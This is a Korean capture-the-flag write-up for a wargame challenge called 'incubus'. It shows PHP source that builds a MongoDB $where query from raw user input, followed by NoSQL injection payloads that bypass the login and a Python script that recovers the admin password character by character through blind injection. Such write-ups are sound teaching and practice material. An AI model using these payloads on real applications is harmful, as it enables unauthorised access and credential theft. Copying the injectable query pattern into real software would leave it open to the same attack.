incubus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| query : {"$where":"function(){return obj.id==''&&obj.pw=='';}"}
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
highlight_file(__FILE__);
?>
|
Solution
1
| $where : JavaScript 표현식에 만족하는 documents를 조회
|
online tool : https://mongoplayground.net/
아래처럼 설정하고 테스트 함.
1
2
3
4
5
6
7
8
9
10
| [
{
"id": "admin",
"pw": "admin@secret"
},
{
"id": "guest",
"pw": "guest@secret"
}
]
|
먼저 아이디, 비밀번호 입력해주면 잘 나옴.
1
2
3
| db.collection.find({
"$where": "function(){return obj.id=='admin'&&obj.pw=='admin@secret';}"
})
|
1
2
3
4
5
6
7
| [
{
"_id": ObjectId("5a934e000102030405000000"),
"id": "admin",
"pw": "admin@secret"
}
]
|
이제 비밀번호를 모르는 상황에서 로그인 하려면 아래와 같음.
1
2
3
| db.collection.find({
"$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin';}"
})
|
이제 실제 사이트에서 적용해보면 아래와 같음.
이제 문제에서 요구하는 비밀번호를 알아내야 함. 먼저 비밀번호 길이를 알아낼꺼임.
1
2
3
| db.collection.find({
"$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin'&&obj.pw.length>'1';}"
})
|
이제 적용해보면 아래와 같음.
1
2
3
4
| ?pw='||obj.id=='admin'%26%26obj.pw.length>'1
?pw='||obj.id=='admin'%26%26obj.pw.length=='8
비밀번호 길이는 8임.
|
비밀번호 값을 알아내야 하는데 ‘(‘가 필터링 되어 있어서 js String methods 사용 불가.
근데 obj.pw는 string이므로 배열형태로 값을 알아낼 수 있음.
1
2
3
| db.collection.find({
"$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin'&&obj.pw[0]=='a';}"
})
|
이제 적용해보면 아래와 같음.
1
2
3
4
| ?pw='||obj.id=='admin'%26%26obj.pw[0]>'0
?pw='||obj.id=='admin'%26%26obj.pw[0]=='b
-> pw 첫 글자는 b라는 걸 알아냄! 이제 Blind NOSQLi를 하면 됨.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import requests
import string
url='https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}
check="0123456789"+string.ascii_lowercase
pw=''
for i in range(0,9) :
for j in check :
payload={'pw' : "'||obj.id=='admin'&&obj.pw["+str(i)+"]=='"+j}
res=requests.get(url, headers=headers, params=payload, cookies=cookies)
if "<h2>Hello admin</h2>" in res.text:
pw+=j
print("pw : "+pw) # b47822ea
break
print("INCUBUS Clear!")
|